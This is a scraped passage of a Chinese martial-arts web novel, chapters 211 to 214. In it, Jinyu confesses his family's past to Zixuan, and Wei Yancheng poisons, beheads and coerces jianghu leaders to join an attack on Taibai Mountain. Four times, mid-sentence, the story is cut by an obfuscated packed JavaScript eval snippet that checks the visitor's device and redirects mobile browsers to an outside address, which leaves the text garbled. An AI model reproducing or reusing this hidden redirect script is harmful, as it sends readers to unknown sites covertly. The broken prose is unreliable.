他的眼睛也濡湿了,若自己再隐瞒下去,如何对得起紫璇的这份相信。他闭上眼睛,咬着牙,聚集起全部的勇气,从苏明启命人寻找圣女开始讲起。 这些话、这个故事早已在瑾瑜心中演练了无数遍,他讲得很快、很流畅。等他讲完睁开眼睛时,看到的便是睁大眼睛、半张嘴巴,已然跌坐在草垛上的紫璇。很明显,她不相信,或者说她还无法接受这个事实。 她的反应完全在瑾瑜的预料之中,苦涩化作笑容,他用手撑着上半身又往后退了一些,然后从怀中取出了一封书信:“虽然不愿相信,但这些都是事实。这封信是你的娘亲写给我爹的,上面的内容可以证明方家在整件事中的作用。” 紫璇没有接那封信,而是按住心口,艰难地问道:“你为什么要告诉我这些?如果你不说,没有人会知道的。” “真相就是真相,我不想骗你。更不想你在一无所知的情况下和我这个罪人之子相处。” “所以呢,你的意思是,因为这些过往,我们就得分开?” 紫璇的眼窝蓄满了泪水,在她说最后几个字的时候终于落了下来。泪滴划出的弧线像一把钝刀,割得瑾瑜心脏一阵阵发疼。他无法回应紫璇的问题,他也没有答案,他不敢花心思去思考这个问题的答案。 同时他也知道,他这样做等于是把难题抛给了紫璇一个人,这让他的自责和羞愧更加强烈,以至于他只能再次将头垂下,眼睛牢牢盯着紫璇落在草垛上的一颗颗泪珠。 须臾后,紫璇伸手抢过那封信,起身快步离开,走到门口又停下来,头也不回地道:“你不准走,就呆在这儿。” 她一出门,江珺翊便迎了上来,看着她显是哭过的眼睛一时不知该问些什么。 紫璇也不想给他发问的机会,只是说:“他不是敌人派来的,我可以保证。”喘口气又道,“他受了伤,最好能挪到干净的地方洗漱养伤。能不能请你去和二叔说一声,我……我还有些事要处理。” 面对紫璇的反常, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429173|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江珺翊没有一丝窥探的心思,而是认真地答应她:“你放心吧,我一定会照顾好他。” 紫璇匆匆点了点头,没有再多说一个字便离开了。 紫璇的召唤比想象中来得要快。第二天下午,瑾瑜刚刚换完药,正对着窗外飞来的一只山雀发呆,就听到了紫璇的声音。 打开门,他小心翼翼地去看她的脸色。紫璇只是平静地走进来,通身打量了他一眼。瑾瑜这才发觉自己只穿着中衣,忙跨到床边将外裳套在身上,一边系着腰带一边抱歉:“对不起,我不知道你会来,刚在上药,我才……” “你的伤还好吗?”紫璇已将身子背了过去,但从她的声音来讲,好像并没有生气,也听不出恨意。 “好……很好,都是些小伤,不打紧的。” 紫璇坐到桌边,示意他也坐下来。 瑾瑜依旧忐忑,不知道等待着他的究竟是什么。只能再次觑向紫璇,希望能够从她的表情上猜知一二。 紫璇从袖中取出晗月的信放到桌上:“你看过这封信吗?” “粗略看过一遍。” “从昨天晚上到现在,短短两页纸,我已经看了快有十遍了。” 瑾瑜只记得,晗月在信上提到了她被送去太白山和被关在舒园产下紫璇的事情,紫璇看了这么多遍,只会对这些印象更加深刻,他开始害怕紫璇接下去要说的话了。 “这些内容是我娘生前最后一年写下的,当时她身体渐渐变差,最多只能再活一两年,所以才想趁自己还活着、握得了笔,给你的父亲、也是她名义上的表兄写一封信。 “在这封信里,她没有责怪任何人,包括师祖、你的祖父还有你的父亲,她只是感叹命运之神奇,竟让她一个乡间贫女有机会见识到光怪陆离的江湖。她还说,若非这番遭遇,她也无法遇到姥姥和我的两个爹爹,也不可能生下我,成为姐姐的母亲,为这里的山民做一些有用的事,享受到原先的她很可能根本享受不到的爱情、亲情和众人对她的喜爱。” 瑾瑜惊讶地忘记了呼吸,他不确定,紫璇这样说是不是意味着……她不恨他、不恨方家? “我娘能从不幸的际遇中看到那些阳光照耀的地方,愿意用这些明媚处标记自己的人生,我又何必纠结于那些本就远离我的过往呢?” 紫璇牵住瑾瑜放在桌上的一只手,看着他的眼睛:“我也可以说,如果不是因为这些事情,很可能我们也会错过,变成两个毫无瓜葛的陌生人。” 瑾瑜鼻头酸涩,紧紧握住紫璇的手,一时间忘了言语。 “这些事从头至尾都不是你的错,你爹的所作所为也是被迫的,我不怪他。而且,他放了我,也放了我娘,才能让我们母女有数年安稳的日子,我不能只看到他给我带来的坏处,忽视他释放的善意。从今往后,你不许再自责了,我可不允许你因为这件事就离开我。” 瑾瑜再也按捺不住心内的激动,站起来,将紫璇往自己怀中顺势一带:“谢谢你!我再也不会说那些话了,我……我一点也不想离开你。” 紫璇感受着熟悉的温暖和气味,闷头笑道:“这可是你说的。这辈子还长,你要是敢食言,我可不会放过你!” 瑾瑜往后仰着上半身,低头看向紫璇:“你话里有话。” “没什么,”紫璇眨眨眼睛,颇有些调皮道,“就是我的寒症不药而愈了,你做好和我白头偕老的准备吧。” 212. 联合 “少主。” 黄昆应召而来,正垂首立于魏彦成面前。 “人都安置好了?” “如少主吩咐,这批高手都已安置妥当,伺候的人也都拨下去了。” 魏彦成听完后并没有其他言语,但也没说让他走,黄昆只好定定站住,恭敬如常。 少顷,魏彦成才清了清嗓子,问道:“你从无锡过来,出发前可去见过我爹?” “属下自然是要去问候的。”提及魏菘泽,黄昆的心不由得紧了一下。 “他怎么样?” “还是老样子,不怎么说话。”黄昆斟酌着答道,“不过,主人特地嘱咐属下,将他老人家麾下的旧人妥善交予少主,还叫属下务必听从少主吩咐,用心辅佐少主。” “他真是这么说的?” “属下不敢扯谎,这些都是主人亲口所说。” 魏彦成面无表情,挥了挥手中折扇,“你也幸苦了,早些下去休息。” 黄昆暗暗松了一口气,行了礼立马退下。 他一消失,吴宏就出现在了他原先的位置上,只是神色更加惶恐,似乎有什么不好的消息。 魏彦成注意到他的模样,脸立刻冷了下来:“怎么回事?方瑾瑜还没有着落?!” “属下无能,方家人去楼空,不仅管家杨邠没了踪影,就连宅中下人也似消失了一般遍寻不到。” “方家的酒坊呢?还有那些与他家经常往来的主顾?那儿也问不出线索?” “方乂安早在去年末就关闭了酒坊,遣散了工人。我向几个酒行的老板打听过,他们也有小半年没见过方乂安了,还以为他洗手不干了呢。” 吴宏见魏彦成阴沉不语,便继续找补:“方乂安早有准备,铁了心要脱离掌控,属下虽找到了零星几个过去给方家出过工的伙计,奈何根本问不出方瑾瑜和杨邠的下落。” “废物!” 吴宏将身子俯得更低:“属下猜想,方乂安会不会早就上了文远骥的船,他一死,方瑾瑜立刻就带着家人投奔太白山去了。” 吴宏没有明说,但魏彦成已经意识到,还是自己出手太晚了。若早一点想起方瑾瑜还有利用价值,就不会让他有时间办完方乂安的丧事,更不会让方家所有人就此隐匿。 “太白山那边怎么样?我们的人还是插不进去吗?” 吴宏摇了摇头:“我们试了好几次,都无法突破山下的岗哨和机关,还为此折了十来个人。” 对此,魏彦成到并不如何生气,对于太白山防守之严密他早有心理准备,此次派人偷袭也只是试探虚实,好为接下来的行动做准备。 “文远骥如今唯一的胜算便是严防死守,这道封锁自然不易突破。只不过,只守不攻必然导致下风,只要我们人多势众,将他围在太白山上,再牢固的守御都会裂开缝隙。” 魏菘泽胸有成竹,吴宏心头一松,立刻恭维道:“所以少主着人遍邀江淮同道,就是想以他们为踏板,叩开太白山的大门。” 魏彦成满意地摇着折扇,脑袋高抬,望着窗外徐徐升起的日头:“只要拿下太白山,就能逼文远骥退位,也能拿到藏宝图和圣女。等天魄门和宝藏都落入我手,这个江湖都要听我的。” 魏彦成野心勃勃,志在必得,吴宏却没有他那么乐观,只是当着主子的面他可不敢乱说话,只好又顺着他的意思附和了几句。 魏彦成这次邀请的江湖人有不少都是熟面孔,由头也仍然是天魄门的百年秘宝。唯有地点换成了响水帮总舵所在的淮安。 项大殒命,响水帮如今由项二当家。他以商量夺宝为名,秘密向远近十数个江湖势力发出了请柬,其中既有独来独往的江湖人,也不乏一些实力尚可的小帮派。 其中最值得瞩目的,便是虹漕帮的新帮主——范广胜的堂叔范明德。吴宏阴谋败露,被迫离开虹漕帮后,在潘、范两族的较量中,范家略胜一筹,范明德因此得以坐上帮主的位子。 然而,虹漕帮也因为内耗伤了元气。夺位失败的潘运昌和他的支持者分去了虹漕帮的部分势力,如今运河上下的漕运已不再是虹漕帮一家独大。范明德迫切需要一桩大功劳来巩固自己在帮中的地位,项二的邀约无疑是眼下他能想到的最好机会。 天魄门已拿到藏宝图、秘宝开启指日可待的消息在半个月内传遍江湖,不少一直关注此事的江湖人都纷纷动用各自的人脉探听,期望得到更确切的信息。 魏彦成当然希望加入自己阵营的江湖势力越多越好,但也需防着贺家庄和长风镖局打探,让文远骥提前有所防范。因此,一旦有人表现出对天魄门宝藏的兴趣,魏彦成便会派出心腹与之单线联系,确保对方真心想分一杯羹,对天魄门并无其他欲望后才会邀请他们前来淮安,共商大计。 并且,魏彦成还有意调开这些江湖人到达淮安的时间,一旦接头便立刻将人安排进提前收拾好的住处,以免让人发觉小小淮安竟然同时出现了这么多江湖势力。 事情进行得极为顺利,在魏彦成放弃继续追索方瑾瑜后十日,响水帮正厅群豪汇集,新一轮的夺宝计划正式开启。 一直隐于幕后的魏彦成出现在厅上,向众人道明身份。众人皆知二十几天前险些将藏宝图夺下的正是文远骥的师弟魏菘泽,如今见到他的儿子,自然不会怀疑他邀请江湖人来此的目的。 魏彦成沿用父亲的老办法,先是控诉文远骥无能昏庸,欺师灭祖,不配坐在天魄门门主的位子上。再说起苏明启是如何不喜欢这个弟子,又是怎样器重魏菘泽,愿意将天魄门托付给他。 总而言之,魏家的目标是天魄门,至于宝藏,他愿意与在座之人共享,无论是金银财宝还是武功秘籍,此间所有人皆见者有份。 发生在魏宅之中的事,只有天魄门旧部和华山派、龙虎山才知道详细情况。而他们碍于自己的颜面,谁都没有把自己中毒受制,差点沦为魏家傀儡的事宣扬出去。因此,这些江湖人根本料想不到自己将要面临的命运,还以为魏菘泽真的是为了笼络他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14440082|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们才把宝藏拿出来分享。 一番场面话过后,众人心满意足,纷纷表示愿意精诚合作。魏彦成故技重施,搬出早就准备好的席面,冷眼瞧着在场所有人纷纷举杯动筷。他们哪里知道,这些酒菜中掺入了无色无味的“噬魂散”,就等着他们大快朵颐之后成为任人摆布的牵线木偶。 酒足饭饱之后,仆役上前撤去碗盘。邓钊率先向主座之上的魏彦成问道:“吃也吃了,喝也喝了,这宝具体怎么个夺法,就请魏公子说一说自己的打算吧。” 白河寨寨主童济英也接口道:“就是就是,这第一件事,便是如何把藏宝图弄到手,才能有下文呀。” 众人的目光聚焦于魏彦成,都很好奇这个年轻人到底有什么计划,能让他看上去如此成竹在胸。 魏彦成却只是微微扬了扬嘴角,轻描淡写地说了句:“当然是硬抢。” “硬抢?”朱鸿旭皱眉道,“太白山守卫严密,多少人想闯山都铩羽而归,咱们怎么抢?” 郝鹏祖挠着脑袋,不认同他的说法:“天魄门御敌之术再厉害,也抵不过我们人多势众呀。只要我们拧成一股绳,同时杀将上去,不怕冲不破文远骥的防线。” “郝寨主千万别小看太白山,”朱鸿旭拼着耐心,认真跟他解释,“江邵谦领着守冲堂,一向致力于研制各种机巧武器,又在太白山各紧要之处结成阵势,其威力之大,不是靠把人夯上去就能摧毁的。况且太白山全山上下,无论老幼妇孺都听文远骥的。虽则他们大部分都不会武功,但若联合起来将我等围困住,我们也只会像陷阱里的野兽一般任人宰割。” “这么厉害?”林夫人甚少知道天魄门的掌故,听到此间最有资历的朱鸿旭都如此说,就知攻上太白山须付出极大的代价。于是,她再次将目光投向魏彦成,难道他没有想到这一点? 魏彦成听了他们几人的对答,仍保持着轻松闲适的表情,见众人等着自己的答案,便也不卖关子,直言不讳道:“朱老帮主所言都是实情,单靠人力我们的胜算肯定不大。所以,在下也准备了一样武器,可以让太白山的所有防守瞬间失去作用。” “什么武器这么厉害?”在座中有人马上发问。 “火药。” “火药?!”郝鹏祖叫了一声,表情变得兴奋,“火药好啊!管他多坚固的机关,只要轰隆隆这么一炸,不都立刻变成废铁了嘛!哈哈哈,魏家小子,你这一招可真够高明的!” 朱鸿旭仍有顾虑:“没有那么简单吧,布置好火药再点燃引信需要的时间不少,文远骥可不会眼睁睁看着我们提前埋好火药。一旦他们发觉异样,只要在火药点燃之前剪断引线,那咱们所有的努力还是会功亏一篑。” 不等其他人催促,魏彦成已经开口:“正因为如此,我才邀请诸位前来。” “我们?”邓钊与郝鹏祖对视一眼,“我们能解决这个问题吗?” “当然,只要把火药绑在诸位身上,就不怕毁不掉文远骥最为得意的全山守备!” 213. 联合(二) 童济英闻言暴起:“你说什么?这不是让我们去送死吗?” 在座其余人通通瞠目结舌,不愿相信童济英所言就是魏彦成想要表达的意思。 只见魏彦成起身离座,缓缓踱到正厅最前方,这才摇着扇子回应道:“诸位都是练家子,虽然单凭己身冲不破防守的机关,但接近它们还是很有希望的。只需诸位献出几个门人弟子,揣着火药上山,在机关或守卫那儿点燃火药,就能炸开口子,到那时我们一起攻上太白山,不愁拿不到宝藏。” 厅上大部分都在玩味他说的话,但也有少数几个不愿受制于人。 “狗娘养的!”郝鹏祖立刻跳起来,欲扑上前去,却在起身的一瞬间跌在了座椅下面。动作之诡异滑稽,和皮影戏里的人偶极为相似。 林夫人急忙去扶,却发现自己双腿使不上力,根本站不起来。 紧接着,在座不少人都发现,别说站起来围殴魏彦成了,就连拿起武器都费劲。 “魏彦成!”朱鸿旭扶住桌子的边缘,尽力稳住身子,“你给我们吃了什么?” “朱老帮主莫急,这只是一种会让诸位乏力的毒药罢了。解药在我手上,只要大家听我驱使,我便会将其双手奉上,解了大家虚脱无力的症状。” “你这是要逼我们做你的傀儡?”另一个江湖人问。 “精诚合作嘛!”魏彦成还是那副气定神闲,胜券在握的样子,“若不把各位的命门捏在手里,如何能确保你们诚心实意为我办事呢?” 朱鸿旭较为冷静,他咬着牙提出疑问:“你把我们弄成这样,走路都困难,还怎么打上太白山,为你卖命?” 魏彦成呵呵一笑,得意道:“这便是我这味毒药的妙处了。它的解药可以让中毒之人恢复如初,行动自如,但是药力只有三日,三日之内若无新的解药,那么中毒之人会再度变成废人,然后死~掉~。” “什么!” “好个杀千刀的魏彦成!” “腌臜手段!” “歹毒至极!” 座中骂声不断,却因为大家都没有力气,听上去只是一片嘈杂的呜咽。 唯有郝鹏祖中气相对最足,他握住鱼叉,奋力挥舞着,同时嘴上骂道:“狗娘养的魏彦成,休想威胁你爷爷!爷爷我纵横太湖十几年,从不受人胁迫……” 下一刻,得到示意的项大突然冲出,手起刀落,郝鹏祖的首级便滚到了地上,从他腔子里喷出的鲜血溅在了当场每个人的脸上。 林夫人就坐在郝鹏祖身旁,眼睁睁看着他身首异处,直到热腾腾的血染红了自己的半张脸,她才终于意识到刚刚发生了什么。 霎时间,厅上鸦雀无声,所有人都在努力消化这一幕。 “诸位朋友,省点力气吧,你们已经没有讨价还价的余地了。乖乖听话,拿解药续命,等我拿下天魄门,掘出宝藏。事成之后,若你们还有命,说不定我会大发善心,给你们彻底把毒解了。要是你们敢有贰心、不服管教,那郝鹏祖就是你们的下场!” 在座众人中,范明德江湖经验最浅,前半生何曾见过这等血溅当场的景象。魏彦成话音未落,他就已经匍匐到他的脚下,口中满是求饶的言语。 邓钊紧随其后,于是,厅内哗啦啦跪倒一片,唯有林夫人魂魄尚未归位,趴在郝鹏祖的尸首边上泪水涟涟。 魏彦成特地走到她身边,蹲下来看着她:“林夫人,你一向与郝鹏祖交好,该不会为了你二人多年的情意拒绝我吧?” 林夫人惶惶然抬起头,对上他阴恻恻的眼神,哪敢再有什么反抗的心思,只好哑着嗓子道:“在下……岂敢,芙蓉山庄上下都归公子驱策,绝无怨言。” 魏彦成这才露出称心满意的笑容:“如此最好。林夫人熟悉太湖水匪,之后郝寨主的人马就由你代管吧。” 林夫人立即诺诺。 第二天,魏家打手带着足量的“噬魂散”和仅供十日的“摄魂丹”,陪同中毒的江湖人离开淮安。魏彦成要求他们在十日内点齐人马,齐聚郿县。与此同时,他们务必管好自己的嘴巴,万不可将计划外传,也绝不能联络除魏彦成之外的任何江湖势力。否则,他们就休想再见到新的解药。 *********************** 宿远寨地处原州,北临蒲川*,虽然远僻,实力却不输中原帮派。大当家占志高功夫刚劲沉稳,三十岁之前几乎打遍北方武林,这才得以执掌宿远寨。 占志高人如其名,自视甚高,对于宿远寨隶属于天魄门一事颇多微词。苏明启在世时就屡次放言要脱离天魄门自立,被苏明启视作眼中钉,狠狠打压了一番。 当时,宿远寨许多高手之中,与占志高亲睦的几人或莫名被杀,或遭遇江湖人的挑战不敌受伤;余下几人则在苏明启的挑拨下与占志高公然对立。 攘外必先安内,占志高不得不闭上嘴巴,再也不敢提什么“脱离”的言语,表面奉承苏明启的同时,在宿远寨内竭力培植自己的势力,这才不至于大权旁落。 苏明启一朝离世,门主之位归属未定,纷争不断,占志高抓住时机诛杀了寨中不满自己的人,继而借口文远骥得位不正,宿远寨不愿奉他为主,就此脱离了天魄门。 彼时天魄门元气大伤,文远骥也没有苏明启那般号令江湖的野心,许多和宿远寨情况差不多的门人隶属都趁此机会独立。虽然与太白山不再来往,彼此之间却没有断了音信。 十年前,魏菘泽借卢金良之手,煽动部分旧部杀上太白山抢夺藏宝图,虽然最终失利,却在他们心中种下了贪欲。一件宝物,你明知得不到时并不会觉得如何,可一旦有机会获得却最终与之失之交臂,只会令人辗转反侧,每每想起都会加深想要得到它的那股欲望。 魏宅之中,占志高亲眼看着藏宝图现世,却最终被文远骥拿走,之后便一直念念不忘,似乎已全然忘记过程中魏菘泽翻脸无情,自己险些性命不保。 要是能拿下传闻中的宝藏,金银财宝自不必说,其中蕴藏的武功秘籍必然能令宿远寨再度崛起。只不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14448706|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,经过前事,占志高也知道文远骥和许淑平一方的实力不容小觑,单凭自己一家不可能染指藏宝图,联合可靠之人一同谋划才是上上之策。 魏菘泽自然不能选,同样觊觎宝藏的天魄门旧部中,占志高与河东谢氏、蓝田派葛宏丰都颇为亲厚。因魏菘泽设局,他和伏牛山张久辉、洛阳金刀门薛粲也搭上了关系。 从魏宅逃脱后,四人时有联络,虽没有明确的联合行动和将来计划,但彼此之间心照不宣,谁有了什么消息也会第一时间通报给另外三家。 这一日,占志高收到张久辉密信,上面只写了一句话:“金刀门内讧,薛亡。”笔迹潦草,显是匆匆写就。 作为一个见识过内斗的门户头领,马上意识到此事必有蹊跷。特别是在藏宝图现世,文、魏相争的当口,金刀门的内讧就显得更为扎眼。 有这般想法的还不只他一个,谢氏兄弟收到消息之后也疑窦丛生。谢家人脉广,消息灵,可从未听说过金刀门内有不服薛粲的势力。相反,薛粲不仅刀法出神入化,名动一方,并且十数年将金刀门牢牢握在手中,在他之下无人敢与之抗衡。 因而,薛粲的死绝对不简单。能够毫无声息地夺权颠覆,并将薛粲除掉,金刀门里定然渗入了旁的势力。结合目前的形势来看,这股势力不是来自太白山就是出自魏菘泽。 不管是他们之中的哪一方做下此事,都必然只是一个开始。二者相争,都需要更多的人力物力,更需要这些旧部们投诚以壮声势。金刀门已然悄无声息地换了主人,那下一个要拿捏的就很可能会是他们几个之一。 思来想去,最好的办法便是抱团取暖,只要阻住对方吞并的势头,不仅可以在此危急时刻保住自己,说不定还能就此掀翻文、魏,在宝藏的争夺中占据优势。 于是,谢家主导,秘邀占志高和葛宏丰齐聚伏牛山,一同商讨如何相互照应。之所以把聚会定在伏牛山,也是考虑到伏牛山离洛阳较近,张久辉又是第一个得知金刀门易主的人,必然掌握了更多有关金刀门内讧的详细情况。毕竟当务之急是弄清楚究竟是谁、又是如何在这么短的时间内将牢不可破的金刀门轻松击穿的。 占志高有前车之鉴,出发之前很是花了一番心思,一方面安排心腹密切把控寨中动向,另一方面对外称病,在暗中赶赴伏牛山。河东谢家和蓝田派虽从未有过下头人乘主人外出作乱的先例,但如今这般情势之下,谢立梁和葛宏丰也同样把家门安排地稳稳当当后才敢出来。 一见张久辉,谢立梁便急切地问起金刀门的情况,占志高和葛宏丰也是一脸关切。 张久辉神色灰败,只回了句“说来话长”便将三人引入密室,还吩咐手下守在外间,绝对不可以放人进来。 三人急匆匆进门,屁股刚沾上椅子,就发现角落里竟然还有一个人。与此同时,四周蹿出二十来个持刀舞剑之人,刀剑所向,正是他们几个。 “三位叔伯,别来无恙。”角落中的那个身影慢慢走到光亮处,正是魏菘泽的次子魏彦成。 214. 条件 无需魏彦成开口,只看周围人的架势,三人便知伏牛山已落入魏家之手,三人马不停蹄赶赴的居然是一场鸿门宴。 负责攒局的谢立梁此刻更是目瞪口呆,为了撇清自己和魏彦成联合做局的嫌疑,他立刻指着张久辉的鼻子质问:“张老爷子,这是怎么说的?!难不成你已经是魏菘泽的人了?” 张久辉虚虚晃了几下脑袋,虽没有明说,但看他无奈忧惧的神情,三人也知他应该是被逼的。 这时,魏彦成的笑声响起:“若非张老爷子将金刀门的消息送给各位,各位怎么会齐聚在此,好让小侄一网打尽呢?” “一网打尽?就凭你们?没那么容易吧?”葛宏丰率先不服。 “哦?葛掌门似乎有意见?”魏彦成摇着扇子,很是悠闲地找了个凳子坐下,“那不如请葛掌门试一试,看看小侄是不是虚张声势。” 葛宏丰沉吟不语,似在斟酌他的话有多少水分,手却准确地伸向了背上□□。 只一个瞬间,葛宏丰的□□就抵到了魏彦成身前。他故意踌躇不前,在众人放松警惕时突然出手,便是算到了对方力量超过自己,若非突然袭击擒贼擒王,己方三人是没有机会走出这间密室的。 然而,魏彦成并非等闲之辈,只见他将扇子一张,斜斜拂过□□,□□受力,矛头微偏,已然失了准头。 谢立梁和占志高也于此刻同时扑来,然而四周的打手们更快,在三人合围之前,对方分别出击,阻住了他们的去势,双方就在这逼仄的密室内斗了起来。 一旦动起手,谢立梁立刻发现,魏家这回带来的并非普通武者,自己以一敌四或五,根本没有招架之力。果然,打斗之声只持续了非常有限的时间,葛宏丰便被缴了械,被迫匍匐在地上;占志高被扯脱了胳膊,正哀嚎不已;谢立梁则被两个大汉扭住手脚,送到了魏彦成面前。 魏彦成收起扇子,拊掌大笑:“三位叔伯,这下你们知道小侄所言非虚了吧?” “这么多人对付我们三个?还要不要脸?有本事单打独斗,看打不打得过你爷爷!” 葛宏丰破口大骂,魏彦成却仿佛无所谓似地:“诶~葛掌门此言差矣。成大事者不拘小节,什么以多对少胜之不武的江湖规矩在这个时候根本不打紧,重要的是一击即中达成目的。我的目的是抓住各位叔伯,如今已经实现,你再多骂上几句也不会改变当前形势,不如省下力气赶紧想上一想,事到如今到底如何做才能对自己最为有利。” 占志高兀自咬着牙和肩膀处传来的剧痛对抗,葛宏丰睚眦欲裂怒视着面前这个只有二十来岁却无比狂妄的年轻人,三人中谢立梁最先冷静下来,魏彦成没有一上来就将其诛杀,必定还有求于他们。也就是说,他们仍然有讨价还价的余地,那么第一步就需先弄清楚两方目前的实力对比。 他先看向躲进角落里的张久辉:“金刀门究竟是怎么回事?难不成是老前辈诓骗我们?” 张久辉仍是垂首不语,话头被魏彦成接了过去。 “诶~谢叔叔怎么能如此不信任张老爷子?金刀门的确被人夺了权,门主薛粲也的确死于内讧,这些张老爷子可都没有扯谎呀。” “夺权?据我所知,金刀门内根本没有能和薛粲抗衡的另一股势力。”葛宏丰跟上节奏,也加入了对话。 “葛掌门又说错了,”魏彦成对他的反应极为满意,忍不住卖弄道:“金刀门表面上铁板一块,实则早被插入奸细,我的人在薛粲的眼皮子底下拉拢了金刀门的一众高手,只需我一声令下,金刀门内同日倒戈,薛粲除了死也就没有别的路好走了。” “你是故意先推翻薛粲,让张老爷子把消息传出来,好引我们到伏牛山来?”谢立梁问。 魏彦成点头不住:“不仅如此,为了更好地招待各位,我还紧赶慢赶带着我的人和金刀门的几位高手到这伏牛山来,一并收服了张老爷子,这才能在此处等候诸位叔伯呀。” “伏牛山又不是江湖菜鸡,被人攻上山来,居然没有任何消息外传?” 葛宏丰瞧着张久辉,疑心他与魏彦成早有勾结。 然而,魏彦成却嗤笑一声,懒洋洋道:“伏牛山早已过了鼎盛时期,张老爷子仅剩的一个幼子又太不成器。我只不过派了几个高手夜入伏牛山,拿住老爷子的爱子,就足以让老爷子俯首帖耳了。有老爷子做内应,让伏牛山上下都听我的号令便不在话下。” 这句话落地,就连占志高都顾不上理会钻心的疼,焦急地和葛、谢二人对视。金刀门、伏牛山接连落入他手,魏菘泽势力再度膨胀。若他们没有成擒,联手与其周旋或许还能有五成胜算,可如今落入敌手,眼见着已无还手之力,似乎唯有任其摆布了。 三人的这番盘算,魏彦成在动手之前就已经想得明明白白。但有一点不同。如今受制于魏彦成的,只是蓝田派、宿远寨和河东谢氏的头领,其核心力量并不在他掌握之中。只要他们肯牺牲自己,其实并不会把整个家门都赔进去。 然而,对于一门心思只想着自己地位权势的人,怎么会甘愿放弃自己的性命呢?魏彦成就是料定了这一点,才想出了这个“挟天子以令诸侯”的办法。 “你抓住我们,想必也不是为了炫耀自己的功绩吧。到底想从我们这儿得到什么,不如快些说出来?” 事已至此,只能先听听魏彦成的条件,仍是谢立梁先问道。 “诸位叔伯莫急,小侄所求不过是与各位再度合作罢了。” “合作?”葛宏丰环顾四周,冷笑数声:“这便是魏菘泽教你的合作之道?” 面对他的奚落,魏彦成并不生气,反而很是泰然自若:“那不也得先让几位叔伯生出合作的意愿嘛?我爹在无锡得罪了你们,这时要再求诸位赏光,小侄我必然要使出非常手段。若非如此,几位叔伯又怎会顺服地呆在此处听我说话呢?” “那就请魏公子说一说,要如何与我等合作吧。”问话的还是已经冷静下来的谢立梁。 “我要让天魄门改天换日,只要诸位叔伯肯奉我为主,日后你们便是开国功臣。” “你要做天魄门的门主?”葛宏丰瞪着眼睛,怀疑自己听差了。 “不错!”魏彦成头颅高高昂起,表情冷酷,很不喜欢他发问时语气中的怀疑。 “那魏菘泽呢?” “我成了门主,我爹自然在门中地位尊崇,就不劳葛掌门操这个心了!” 对谈许久,这还是魏彦成第一次用上如此冷硬的语气,即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458792|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是跋扈惯了的葛宏丰,此刻也下意识地噤了声。 谢立梁关心地则是另一件事:“太白山守御异常严密,许淑平和江邵谦又铁定会维护文远骥,你想做门主,除非先拿下太白山,否则绝对办不到。” “我敢与各位叔伯坐在这里商议,自然是已经有了攻下太白山的方法。” “哦?敢问是何办法?” 魏彦成瞥了他一眼,遂冷笑一声道:“此乃机密,在我们还没有敲定要合作之前,小侄又怎会轻易将秘密说出来呢?” 谢立梁碰了软钉子,气滞了一瞬,随后又变得硬气起来:“既然是‘合作’,那我们也得从中拿到好处才行。否则这和逼迫有什么不同?” “就是!”占志高抱着一边胳膊,也大声附和。 葛宏丰这会子也悟出了门道,急忙道:“没错,想让我们支持你,也不是不行,那你就把宝藏拿出来!你做门主,我们分得宝藏,这才算公平!” 魏彦成双唇紧闭,目光自他们面上扫过,显然正在头脑中快速权衡。 谢立梁踏上一步,盯着他的眼睛无比坚决道:“我们三人虽落入你手,但势力未失。要想让谢家、蓝田派和宿远寨都听命于你,在你和文远骥的争夺中倒向你,并在将来安于天魄门麾下,就必须答应我们三个条件。否则,我三人立刻自戕于此,到那时这三家只会视你为敌人,必欲除之而后快,又怎么会听你的摆布,做你的装点门面的工具呢?” 听到“自戕”,葛宏丰和占志高都愣住了,还算他们脑子不笨,马上反应过来谢立梁不是真的打算这么做,而是故意放狠话,要以此拿捏住魏彦成。 魏彦成自然也怀疑谢立梁所言的真实性,但他不敢赌。沉吟片刻,便问道:“哪三个条件?” “其一,不得插手我门三家内部,我三人依然是各自门户的首领。” “这是自然,我原本也没有将诸位叔伯换掉的打算。” 